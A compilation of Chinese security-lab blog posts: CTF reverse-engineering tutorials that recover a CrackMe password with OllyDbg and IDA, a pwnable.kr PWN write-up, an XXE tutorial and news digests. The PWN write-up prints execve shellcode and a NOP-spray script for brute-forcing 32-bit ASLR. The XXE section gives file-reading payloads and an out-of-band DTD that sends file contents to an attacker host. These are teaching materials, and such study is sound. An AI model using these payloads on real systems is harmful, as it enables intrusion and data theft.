CTF REVERSE练习之API定位
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天要做的实验是CTF REVERSE练习之API定位。
Windows这个多作业系统除了协调应用程序的执行、分配内存、管理资源之外, 它同时也是一个很大的服务中心,调用这个服务中心的各种服务(每一种服务就是一个函数),可以帮应用程式达到开启视窗、描绘图形、使用周边设备等目的,由于这些函数服务的对象是应用程序(Application),所以便称之为 Application Programming Interface,简称 API 函数。
另外需要注意的是两种编码,ANSI与Unicode,ANSI的ASCII字符集及其派生字符集(也称多字节字符集)比较旧,而Unicode字符集比较新,固定以双字节表示一个字。Windows操作系统在声明一个API时,如果这个API存在字符串参数,便会指定字符集。每个含有字符串参数的API同时有两个版本:即ANSI,Unicode。尾部带A的API是ANSI版本,带W的API是Unicode版本。
例如:我们在编程时使用的MessageBox实际上是一个宏,根据字符集的不同被定义为不同版本的MessageBox,如果是UNICODE字符集,则实际上为MessasgeBoxW,如果是ANSI字符集,则实际上为MessageBoxA:
#ifdef UNICODE
#define MessageBox MessageBoxW
#else
#define MessageBox MessageBoxA
#endif // !UNICODE
交叉引用。
通过交叉引用(XREF)可以知道指令代码相互调用的关系,如下图所示:
这句“CODE XREF: WinMain(x,x,x,x)+10↑p”,表示调用sub_41BD0D这个函数的地方为WinMain函数,p表示是以函数调用(procedure)的方式跳转到当前的位置的,其他的一些符号:o表示偏移值(offset),j表示跳转(jump)。
在sub_41BD0D上面按X键,可以打开交叉引用窗口,这里会列出所有调用了sub_41BD0D这个函数的地方,如图所示:
从图中可以看到,只有在WinMain函数中调用了sub_41BD0D这个函数。
现在我们开始进行实验,进入实验链接https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410022800001。
先看题目描述,主机C:\Reverse\2目录下有一个CrackMe2.exe程序,运行这个程序的时候会提示输入一个密码,当输入正确的密码时,会弹出过关提示消息框,请对CrackMe2.exe程序进行逆向分析和调试,找到正确的过关密码。
不管在什么场景下,相信大家在刚接触一个新事物的时候,都会仔细观察事物的外部特征,CTF做题也是一样的,在拿到题目之后可以运行程序,观察程序都有哪些地方可以输入数据,哪些按钮点击了会有什么样的反应,在操作过程中出现了哪些提示等。
通过对CrackMe2.exe程序的观察,我们知道程序需要输入一个密码,当不输入任何数据就点击按钮时,提示如下信息:
当输入一串测试数据时,提示如下信息:
通过这些操作后,我们可以猜测程序的意图是输入一个正确的密码。
在对一个程序进行逆向分析之前,除了程序的动态行为之外,查看程序是否加壳(被何种程序加壳?是什么编译器编译的?)也是一个非常关键的步骤。我们选中程序后单击右键,在右键菜单中选择“Scan with PEiD”选项,就可以查看加壳信息了。我们这里看到的是Microsoft Visual C++ 6.0,说明CrackMe2.exe没有加壳,且它是使用VC6编译的。
我们来试一试使用OD载入CrackMe2.exe程序,如果继续使用实验《CTF REVERSE练习之逆向初探》中提到的方法查找字符串,是找不到的,会有如下提示:
继续看我们在反汇编指令列表中单击右键,在右键菜单中依次选择“查找”——“当前模块中的名称(标签)”,如图所示:
点击弹出的名称窗口,在键盘上敲下MESSAGEBOXA,就会自动定位到MessageBoxA,点击鼠标选中MessageBoxA这一行,单击右键,在弹出的右键菜单中选择“在每个参考上设置断点”,如图所示:
在OD最下方的状态栏上可以看到“已设置 2 个断点”的提示。
现在按F9运行程序,随便给程序输入一个密码(如test),单击确定按钮后程序将在OD中断下,断下的位置为对MessageBoxA的调用的位置,如图所示:
这就是我们要找的关键函数,现在我们查看附近的代码,就找到了密码明文,如图所示:
用OD解题之后,我们继续用IDA来解题一下。
使用IDA载入CrackMe2.exe程序进行分析,等待分析完毕后,选择主窗口面板上的Imports TAB页面,然后在键盘上敲下MESSAGEBOXA,就可以自动定位到MessageBoxA函数,如图所示:
前面提到了交叉引用这里我们可以用到双击00422420这个条目,来到MessageBoxA定义的位置,选中后按下X键,弹出交叉引用列表窗口,我们看到一共有四个条目,如图所示:
我们并不能直接看出哪一个引用就是我们所要找的引用,所以需要一个一个进行查看,根据前面使用OD对程序的分析,我们知道在MessageBoxA之前有许多对LoadString的调用,因此通过对比几个交叉引用,可以断定sub_401450就是我们要找的函数。
使用F5还原sub_401450函数的伪代码,我们断定LoadString加载资源ID为0x6A的字符串就是我们要找的密码,伪代码如下:
接下来我们使用Restorator打开CrackMe2.exe程序来查看字符串资源,如图所示,0x6A的十进制即106,因此可以知道密码就是HeeTianLab了。
那今天的实验就介绍到这里。我们需要好好掌握API还有后面的实验内容。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年03月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、SolarWinds高层表示近期供应链攻击是因为实习生使用弱口令
https://securityaffairs.co/wordpress/115134/security/solarwinds-intern-solarwinds123-password-leak.html
2、NSA建议采用零信任安全模型
https://securityaffairs.co/wordpress/115121/security/nsa-zero-trust-security.html
3、加密货币交易所Cryptopia再次遭黑客攻击
https://securityaffairs.co/wordpress/115099/hacking/cryptopia-hacked-twice.html
4、TikTok公司ByteDance同意支付9200万美元隐私和解费
https://securityaffairs.co/wordpress/115115/digital-id/tiktok-us-privacy-settlement.html
5、美国社交网络Gab承认其被黑客入侵
https://www.securityweek.com/us-right-wing-platform-gab-acknowledges-it-was-hacked
6、亚洲食品分销巨头JFC International遭勒索软件攻击
https://www.securityweek.com/asian-food-distribution-giant-jfc-international-hit-ransomware
7、Genua修复了其GenuGate防火墙身份验证绕过漏洞
https://threatpost.com/firewall-critical-security-flaw/164347/
8、 Salt修复了SaltStack minion特权提升漏洞
https://www.zdnet.com/article/minion-hijacking-flaw-patched-in-saltstack-salt-project/
9、2100万Android平台 VPN服务用户数据在黑客论坛出售
https://www.technadu.com/collection-of-user-data-allegedly-sourced-from-android-vpns-appeared-for-sale/250910/
10、印度视频网站ZEE5泄露了900万用户数据
https://www.technadu.com/zee5-leaked-data-nine-million-users-did-not-disclose-it/251211/
CTF-REVERSE练习之逆向初探
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
逆向是指通过反汇编和调试等一些手段及工具,分析计算机程序的二进制可执行代码,从而获得程序的算法细节和实现原理的技术。不仅如此,逆向技能在信息安全面向的具体工作,如恶意代码分析、软件漏洞挖掘、移动安全以及对软件的破解方面发挥着巨大的作用。
前面介绍过CTF的web真题,那今天我们从CTF中选择一个REVERSE题型来讲解。
先介绍一下,REVERSE是CTF竞赛中的一种常见题目类型,主要考察参赛选手逆向工程相关的知识,考查形式为通过对一个二进制程序(exe、dll或者是elf等)进行逆向分析,了解程序内部的实现机制,最终目的可能是得到一个密码,或者是编写一个注册机用于计算指定用户名对应的注册码等。
那我们要怎么才能对一个程序进行逆向,一个完整的程序怎么看到它的代码呢?
当然别人也想到过这种问题,所以就出现了几种帮助逆向的工具。
1.PEiD是一款著名的查壳工具,其功能十分强大,几乎可以侦测出绝大部分的壳以及程序编译信息。PEiD支持各种外部插件,同时支持用户自定义的加壳程序签名信息。
2.Ollydbg简称OD,是一款具有图形用户界面的用户模式调试器,可以运行于各种主流Windows操作系统下。Ollydbg具有动态调试和静态分析功能,非常容易上手,对异常的跟踪处理相当灵活,并且许多爱好者为这款调试器编写了许多非常棒的插件,这些特性使得其成为Windows操作系统上用户模式下动态调试器的首选。Ollydbg的反汇编引擎十分强大,可以识别数千个被C和Windows频繁使用的函数,并可以自动对参数进行注释。底下是OD一些常用的快捷键。
F2 设置一个断点(如果断点已经存在,那么断点将被删除)
F4 运行到光标所在行(运行到光标所在行时自动断下)
F7 单步跟踪(如果遇到一个call,则跟踪进入)
F8 单步跟踪(如果遇到一个call,则执行完整个call)
F9 继续执行(运行程序,直到进程退出或遇到下一个断点)
3.IDA是一款交互式反汇编工具,其功能十分强大,支持多操作系统、多处理器下的二进制程序的反汇编分析,并且可以和使用者进行交互来提升处理效率。IDA支持插件,支持IDC脚本,Hex-Rays Decompiler是IDA一个十分强大的插件,支持将反汇编代码直接转换为C语言伪代码,极大的提高了反汇编分析人员的工作效率。这底下是ida的快捷键可以帮助我们更加高效的进行分析。
空格 在图形模式和列表视图模式之间切换反汇编视图
F5 将反汇编指令还原为伪代码
x 查看交叉引用
n 对变量名或者函数名进行重命名操作
d 将二进制数据解释为字节/双字/四字
c 将二进制数据解释为代码
a 将二进制数据解释为字符串
实验步骤
好我们来开始实验,先进入实验网页:CTF-REVERSE练习之逆向初探。
题目描述:
主机C:\Reverse\1目录下有一个CrackMe1.exe程序,运行这个程序的时候会提示输入一个密码,当输入正确的密码时,会弹出过关提示消息框,请对CrackMe1.exe程序进行逆向分析和调试,找到正确的过关密码。
我们开始第一步进行外部行为分析不管在什么场景下,相信你在刚接触一个新事物的时候,都会仔细观察事物的外部特征,CTF做题也是一样的,在拿到题目之后可以运行程序,观察程序都有哪些地方可以输入数据,哪些按钮点击了会有什么样的反应,在操作过程中出现了哪些提示等。
我们通过对CrackMe1.exe程序的观察,知道程序需要输入一个密码,当不输入任何数据就点击按钮时,提示如下信息:
当输入一串测试数据时,提示如下信息:
这里有弹框还有提示,我们是不是直接去查找这个提示就可以了呢。但是我们在对一个程序进行逆向分析之前,除了程序的动态行为之外,查看程序是否加壳(被何种程序加壳?是什么编译器编译的?)也是一个非常关键的步骤。之前提到了PEID,我们就用PEID来查壳我们选中程序后单击右键,在右键菜单中选择“Scan with PEiD”选项,就可以查看加壳信息了。我们这里看到的是Microsoft Visual C++ 6.0,说明CrackMe1.exe没有加壳,且它是使用VC6编译的。
我们换OD来进行动态调试,
动态调试可以帮助我们了解程序内部执行逻辑的许多详细信息,很多信息只有在程序运行起来之后才会看到,这也是静态分析所无法简单获取到的。OD是我们在Windows操作系统下动态调试器的首选。
操作选择CrackMe1.exe程序后单击右键,在右键菜单中选择“用OllyICE”打开,就会进行OD调试器的主界面,我们在反汇编指令列表窗口中单击右键,依次选择“Ultra String Reference”、“Find ASCII”菜单项,如图所示:
之后会弹出字符串列表窗口,这个窗口列出了当前进程内存空间中存在的各种字符串,我们可以查看是否存在有我们感兴趣的字符串。比如前面曾经提示“密码错误”的提示,那么我们就可以按下Ctrl+F,在弹出的窗口中输入“密码错误”,然后单击确定按钮查找:
上面还有一个密码正确,恭喜过关,这是不是关键呢?我们试一试双击这个看看。
双击找到字符串的那一行,来到OD的反汇编窗口,就能看到代码指令中引用这个字符串的地方了。如下图所示:
在这个代码片段中,我们还看到了一个jnz跳转指令,这个指令是否跳转将决定着弹出成功的提示还是弹出失败的提示,这样的跳转也就是所谓的关键跳转。在关键跳转之上的代码往往就是关键的密码判断逻辑,因此我们可以着重分析关键跳转之上的代码。在关键跳转之上,我们在下面的的位置下一个断点(鼠标单击这行代码选中,然后按下F2):
00401456 . 55 push ebp
下好断点之后,按下F9运行程序,随便输入一个密码(比如test)后单击按钮,程序就自动在我们的断点断下了,接下来按F8开始进行单步跟踪,当跟踪到00401490的时候,我们发现了我们输入的密码test,同时发现字符串HeeTianLab,如图所示:
仔细分析上面的代码,发现是在从这两个字符串里面取出字符一个一个进行对比,只要有一个字符不一样,最终都会跳转到提示失败的地方去。那么可以猜测HeeTianLab就是正确的密码了,我们运行另一个CrackMe1进程,输入HeeTianLab,弹出成功提示:
这就通关了,接下来我用另外一个神器IDA再来做一遍,有动态的神器,肯定还有一个静态的神器。
除了动态调试之外,静态分析也是一种很重要的技能。静态分析可以帮助我们快速了解程序的代码执行逻辑,尤其是使用IDA的Hex-Rays插件将汇编代码生成伪代码的功能,可以极大地提高我们的分析效率。
使用IDA打开CrackMe1.exe程序,IDA会提示选择文件类型、处理器类型等,通常我们不需要修改这些设置,直接单击“OK”按钮即可。之后IDA会对程序进行分析,等待一段时间,待分析结束之后,在下方的“Output Window”中会提示“The initial autoanalysis has been finished.”,如图:
在IDA的菜单中选择“View”——“Open subviews”——“Strings”菜单项,就可以弹出字符串列表界面了,如图所示:
IDA的字符串列表界面没有提供Ctrl+F快捷进行查找的功能,所以我们需要手工翻页来查找我们感兴趣的字符串,拖到某一个地方的时候我们看到了提示相关的字符串:
双击“密码错误”这个字符串,来定定义该字符串的地方,然后鼠标点击字符串的名字,然后按下x键,进行交叉引用查找,弹出的对话框如下图所示:
单击OK按钮来到引用这个字符串的地方,我们看到了一堆反汇编指令列表,这时候就可以对这里的汇编指令进行分析了,如果不想看汇编指令也不要紧,按下F5键就可以生成函数的伪代码了,我们看到伪代码中将输入的密码和HeeTianLab进行了比较:
很明显,HeeTianLab就是我们想要的密码。
逆向的学习是一个需要对计算机相关及编程知识系统有较深了解的过程,它是一个不断渐进的阶段性技能。想学好逆向,你必须具备众多的编程语言储备、安全相关知识、对计算机原理有良好的认识和常识。而这些只是逆向的基础!
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF 一次PWN解题的小技巧
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
前几天在国外的某个ctf社区发现了一道好玩的赛题。
建议ctfer在阅读这篇文章的时候,首先要掌握以下的一些内容,因为这些东西对于ctf比赛来说,都是很有必要掌握的。
基本的Linux知识
对于X86有基本的了解
了解堆栈工作原理
C语言的基本知识
了解缓冲区溢出漏洞的原理
基本的python开发能力
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111814131600001 (CTF PWN进阶训练实战,尝试溢出一个URL解码程序。)
计算机字节和shell的魅力
我第一次接触到网络安全编程时,我就已经发现开发其实是一门艺术,并且研究员需要很高的水平才能胜任这一工作,因为很多时候你需要各种领域的知识进行结合。例如。C语言、汇编、堆栈、利用python进行漏洞开发利用等,当然,这些只是冰山一角。
对于一个刚进入漏洞利用开发领域的小白来说,这可能是很难的,因为这是一个从零开始进行积累的过程。
作为一名小菜鸡,我决定先挑战这个网站的最简单的pwn赛题。别问为什么,问就是别的试题太难了。
进入正题
让我们先进入SSH!
ssh [tiny_easy@pwnable.kr](mailto:tiny_easy@pwnable.kr) -p2222
(对于Windows用户,我强烈推荐使用xshell,它是一款很好上手的软件,可用于处理ssh会话并轻松下载软件)
在ssh内,我们运行“ ls”命令,仅找到一个二进制文件和我们的flag文件,由于我们没有任何权限,因此无法进行读取。
我们先下载二进制文件并对其进行一些检查:先使用“ file”命令进行查看。该命令可以让我们查看二进制文件的详细信息,包括其体系结构,位数(x64与x32)和其他很多的细节。
从输出的内容中我们可以看到,该文件是x86体系结构的32位ELF文件,并且是静态链接的。
可是等等… 注意这个细节!
让我们运行这个二进制文件,看看会发生什么情况:
从二进制文件具有损坏的header并且在执行时崩溃的情况可以看出,我们猜测现在这个二进制文件可能与通常我们看到的文件有所不同。
让我们在ida中打开二进制文件并检查代码
这可能是我见过的最简短的文件了,整个程序只有4条指令。
我们从栈中执行两个pop指令,从edx指向的地方取值,然后跳转到它。
但是等等......这个程序中没有进行任何调用,那么哪些值是从栈中弹出的呢?
我们还是用gdb来检查一下吧!
看一下堆栈,我们看到eax将接收值1,而edx将接收指向该字符串的指针
“/home/user/CTFs/Pwnables/tiny_easy/tiny_easy”,这就是我们的二进制文件的路径!
如果继续执行直到调用edx,我们就会明白为什么我们之前会收到段错误的原因了。
这个程序会试图跳转到地址0x6d6f682f,这对应字符串"/hom "的值。它是我们的二进制文件路径的一部分。
我们继续运行我们的程序,参数分别为test1 test2 test3。我们可以通过在gdb中运行以下命令来达到这一目的。
run test1 test2 test3
我们可以看到,现在堆栈已经发生了变化,现在我们的堆栈中有参数,并且堆栈顶部的值已从0x1更改为0x4。
还记得大一学的C语言中,main函数是如何接收输入的吗?
Int main(int argc, char * argv [], char * envp)
main中的argv [0]始终指向当前二进制文件的路径,argv [1] argv [2]等将包含我们输入的参数。
为了能够成功跳转到所需的位置,我们需要控制argv [0]的值。如果它不是我们输入的参数,我们该如何控制argv [0]呢?
下面隆重介绍一个在神奇的库文件 -- pwnlib,Pwnlib是一个python库,它使我们能够轻松的和进程进行通信。
pwnlib.tubes.process允许我们创建自己的进程并控制它的不同参数(argv,envp)等等。
我编译了以下的代码片段来展示pwnlib的简单使用方式:
int main(int argc, char * argv[]) { printf("\nthis is our argv[0] %s\n", argv[0]); }
当我编译运行它的时候,得到了以下的结果。
我们可以使用pwnlib将argv [0]修改为我们自己的字符串,
from pwnlib.tubes.process import * argv_program=process(argv=["awdawd"], executable="/home/user/test_argv") print argv_program.recv()
现在,运行我们的python程序,看看我们从test_argv程序中能得到什么结果:
NICE !
现在,我们知道如何控制argv0参数了,这意味着我们可以在tiny_easy二进制文件中的任意位置进行跳转。
下一步是检查此二进制文件的安全属性,让我们运行checksec命令看看效果:
RELRO:这里没有RELRO保护;
堆栈:未发现堆栈canary机制;
NX: NX已禁用;
PIE: 无 PIE;
注意:默认情况下,ASLR在堆栈中是启用状态。
NX保护是一种保护机制,它不允许我们在二进制的代码部分运行代码,这意味着我们不能跳转到栈或堆上的代码来运行它们。
在这个例子中,我们可以看到这个二进制文件是在没有保护的情况下进行编译的,这意味着我们可以跳转到堆上的代码。
这里需要强调一点的是:你如果一开始就直接检查这类保护,整个过程会给你节省很多时间。
在这个例子中,因为我们无法控制返回的地址,而且NX被禁用,那么我们最好的选择就是集中精力找到一种方法跳转到栈上,并执行我们存储在某个参数中的shellcode。
同时,另一方面,如果NX被启用了,那么这意味着我们无法跳转到堆栈,我们需要找到一种不同的方式来运行我们的代码(ret2libc等许多其他方法)。
现在我们可以控制我们要跳转的位置了,同时我们需要处理ASLR在堆栈层已经被启用这个问题。
我们可以尝试找一条允许我们跳转到堆栈的指令,然后运行我们的shellcode,程序中的其余字节是elf头的一部分。
我们也可以使用“ C”快捷键在IDA中查看这些字节的指令。
看来我们最好使用的指令是 "jmp esp"。这个指令将会跳转到堆栈,在那里我们能够得到我们存储在参数中的shellcode。
我喜欢手动进行搜索,所以我用online disassembling 来查找jmp esp指令由哪些操作码组成。
如果我们尝试反汇编jmp esp,那么得到的结果是:ff e4
我们尝试使用search-> bytesequence在IDA中搜索此字节。
what? 没结果?
我试着搜索调用esp的字节,却什么也没找到 !
这就郁闷了!
我们想跳转到堆栈上的代码,但是由于ASLR的存在,我们不知道要跳转到什么地址。
我们尝试找到一个指令,让我们在不知道地址的情况下跳转到堆栈,但我们没有找到任何指令。
我尝试了另一个骚操作:跳转到一个允许你向代码部分写入字节的指令。
你可以尝试用这个方法:用jmp esp操作码覆盖其中的一条指令的地址,然后跳转到该指令的地址。
这个过程就像开火车一样,边开边建轨道。
不幸的是,当我用view->Open subviews->segments看看有哪些段的权限的时候,发现了以下的内容。
代码部分仅启用了R和X权限
R-读取权限
X-执行权限
W(写)权限被禁用。
这意味着,如果我们重写代码部分的指令,程序就会崩溃。
我在这个程序上已经用了好几个小时了,尝试了不同的跳转指令的方法,但是我找不到进入栈的方法。
然后,what should I do?
32位的ASLR
我开始尝试查阅32位系统上的ASLR的实现原理(特别强调,我们的二进制文件是32位的)。我找到了下面的解释:
"对于32位,有2^32 (4 294 967 296)个地址,然而,内核只允许一半的比特位(2^(32/2)=65 536)在虚拟内存中执行"。
这意味着堆栈的大小可以调整到65,536个字节。
如果我们可以控制数万个shellcode字节,那么我们就可以尝试在堆栈中跳转到一个固定的地址,这样就会有很高的成功率。
下面我检查了一下是否可以用长字符串发送大量的参数。
from pwnlib.tubes.process import * for i in range(600): argv.append("a"*1024) argv_program=process(argv=["awdawd"], executable="/home/user/test_argv") print argv_program.recv()
在本例中,我们向程序发送了6014400个字节并成功运行。
我们可以传递我们的参数来填满nops,最后发送我们的shellcode。
这样,我们就可以跳转到堆栈上的一个随机地址,希望能够落在我们的nop指令上,然后我们就会一路滑向我们的shellcode。
我写了以下的代码,尝试执行程序。
我们在这里尝试跳转到堆栈上的一个恒定地址:0xffb05544,选择这个地址有两个原因。
1.在这个程序中,我注意到在用gdb执行了很多次之后,这个地址大部分时间都在堆栈的范围内或者非常接近堆栈的范围 。
2.我们需要一个没有任何null字节的地址,否则我们会得到
一个异常:"Inappropriate nulls in argv[0]:"
所以我写了以下代码:
import struct import random from pwnlib.tubes.process import * from pwnlib.exception import * import pwnlib EXECV = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" def build_shellcode(address): """ Build shellcode address - address
这段代码会运行tiny_easy二进制文件并跳转到我们的shellcode,从而打开一个shell。如果我们成功了,那么我们将能够发送命令"echo we_made_it",看看它的输出。
说干就干!
成功了!现在我们来CTF服务器上检查一下。
请注意,我们需要将我们执行的命令从"echo we_made_it "改为 "cat /home/tiny_easy/flag ",这样就得到了flag。
我们可以使用 "scp "命令轻松地将我们的脚本上传到服务器的tmp目录下,就像这样。
scp -P 2222 ./pwn_tiny.py tiny_easy@pwnable.kr:/tmp/pwn_tiny.py
终于拿到了我们的flag !
总结
行文至此,本次测试也就结束了!文章略长,简单做个总结:
在本文中,我们通过使用CTF示例讨论了漏洞利用开发的过程,我们了解了程序如何从argv和argc接收输入的参数。最后,了解了由于较小的随机范围,32位系统中的ASLR为何容易受到攻击,以及如何利用此漏洞进行攻击。
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年03月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Facebook支付6.5亿美元用于隐私诉讼和解
https://www.securityweek.com/judge-approves-650m-facebook-privacy-lawsuit-settlement
2、研究人员发现大量Android平台Covid-19追踪应用存在漏洞
https://www.securityweek.com/security-privacy-issues-found-tens-covid-19-contact-tracing-apps
3、微软开源查找 SolarWinds 黑客的工具代码
https://www.securityweek.com/microsoft-releases-open-source-resources-solorigate-threat-hunting
4、研究人员发现Rockwell控制器漏洞可被远程攻击
https://www.securityweek.com/unprotected-private-key-allows-remote-hacking-rockwell-controllers
5、勒索软件团伙入侵了厄瓜多尔最大的私人银行和财政部
https://www.bleepingcomputer.com/news/security/ransomware-gang-hacks-ecuadors-largest-private-bank-ministry-of-finance/
6、T-Mobile遭SIM交换攻击导致数据泄露
https://www.bleepingcomputer.com/news/security/t-mobile-discloses-data-breach-after-sim-swapping-attacks/
7、牛津大学进行COVID-19研究的实验室遭受黑客入侵
https://www.zdnet.com/article/oxford-university-biochemical-lab-involved-in-covid-19-research-targeted-by-hackers/
8、谷歌Project Zero团队批量Windows 10 Graphics RCE漏洞细节
https://www.bleepingcomputer.com/news/security/google-shares-poc-exploit-for-critical-windows-10-graphics-rce-bug/
9、H2C请求走私排名2020年10大Web攻击技术之首
https://portswigger.net/daily-swig/h2c-smuggling-named-top-web-hacking-technique-of-2020
10、CD Projekt因网络攻击推迟《赛博朋克2077》补丁发布时间
https://www.reuters.com/article/us-cd-projekt-patch/polands-cd-projekt-delays-cyberpunk-2077-fix-due-to-cyber-attack-idUSKBN2AO2BW
从一道题目学习XXE漏洞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDcb00-c025-4fea-a3f4-93057c24bf78 (通过该实验了解XXE漏洞的基础知识及演示实践。)
0x01.xxe漏洞
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
0x02.xml定义
XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。
0x02.xml的作用
XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。基本语法
所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
实体引用(在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<傅好对应的实体就是<,>符号对应的实体就是>)
XML中的注释,在XML中编写注释的语法与 HTML 的语法很相似。(<!-- -->)
在 XML 中,空格会被保留,多个空格不会被合并为一个。
示例如下:
<?xml version="1.0" encoding="UTF-8"?> <!-- ⬆XML声明⬆ --> <!DOCTYPE 文件名 [ <!ENTITY实体名 "实体内容"> ]> <!-- ⬆文档类型定义(DTD)⬆ --> <元素名称 category="属性"> 文本或其他元素 </元素名称> <!-- ⬆文档元素⬆ -->
0x03.xml格式说明
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]><!--文档类型定义--> <note> <to>xxe</to> <from>ljpm</from> <heading>Text</heading> <body>Onl
0x04.DTD
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例
1.外部DTD
<?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE root-element SYSTEM "test.dtd"> <note> <to>xxe</to> <from>ljpm</from> <heading>Text</heading> <body>Only test!</body> </note><!--文档元素-->
test.dtd
<!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>
0x05.DTD数据类型
PCDATA的意思是被解析的字符数据/
PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本
CDATA的意思是字符数据
CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
0x06.DTD实体介绍
1.内部实体
<?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note[ <!ELEMENT note (name,pwd)> <!ENTITY name "admin"> <!ENTITY pwd "admin"> ]> <note> <name>&name;</name> <pwd>&pwd;</pwd> </note><!--文档元素-->
结果如下:
2.外部实体
<?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note[ <!ENTITY user SYSTEM "test.xml"> ]> <note>&user;</note><!--文档元素-->
3.参数实体+外部实体
test.xml
<?xml version="1.0" encoding="utf-8" ?><!--xml声明--> <!DOCTYPE note [ <!ENTITY % user "admin"> <!ENTITY % pwd "admin"> <!ENTITY % ljpm SYSTEM "./dddd.dtd"> %ljpm; ]> <note>&people;</note><!--文档元素-->
dddd.dtd
<!ENTITY people "%user;%pwd;">
PS: %name(参数实体)是在DTD中被引用的,而&name;是在xml文档中被引用的。XXE主要是利用了DTD引用外部实体导致的漏洞。
0x07.怎么判断网站是否存在XXE漏洞
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞。
0x08.示例如下:
1.实验环境
SpecialOrder
2.分析
首页登录试验环境将会被重定向到一个登录界面:
环境有个注册选项,我们先注册一个用户,然后登录:
首页的右上角有几个路由,代表几个功能,我们可以一一尝试。在http://192.168.153.128:5000/create-post url下有一个类似于博客的提交框,可能存在存储性的xss
尝试了一下,不存在xss
在http://192.168.153.128:5000/customize 我们可以为上面我们创建的帖子添加样式:
添加样式后的结果如下:
从上面的结果来看我们可以自定义帖子的css样式参数:
* { font-size: 51px; color: red; }
至于上面的51px;为什么不是50px;我也不知道QAQ。这个环境就只有两个功能,上面那个发帖子的功能和这个修改样式的功能,发帖子功能大概没什么bug,唯有这个修改样式的比较可疑。我们可以通过burpsuite抓包分析一下。
发送的数据类型是Content-Type: application/json 。我们将其改成Content-Type: application/xml ,看看接不接受xml。
通过其返回没有报错,因此判断是支持xml的,刷新一下页面进一步验证:
现在我们尝试进行xml注入:
结果如下:
接下来就是读取flag.txt文件(环境没有添加flag.txt),最后的payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///app/flag.txt"> ]> <root> <color>&file;</color> <size>40px</size> </root>
0x09.Special Order pt2
0x41414141 CTF的一道题目该题是上一题的进化版(没有环境),允许加载外部的dtd文件,因此payload如下:发送xml请求
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///flag.txt"> <!ENTITY % xxe SYSTEM "http://ip/payload.dtd"> %xxe; ]> <root> <color>&send;</color> <size>40px</size> </root>
在我们的服务器上
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/?%file;'>"> %all;
0x08环境中代码有问题的部分
elif request.content_type == "application/xml" or request.content_type == "text/xml": print(request.data) parser = etree.XMLParser() k = etree.fromstring(request.data, parser) post_color = "" post_size = "" w = "" for i in k.getchildren(): if i.tag == "color": post_color = i.text elif i.tag == "size
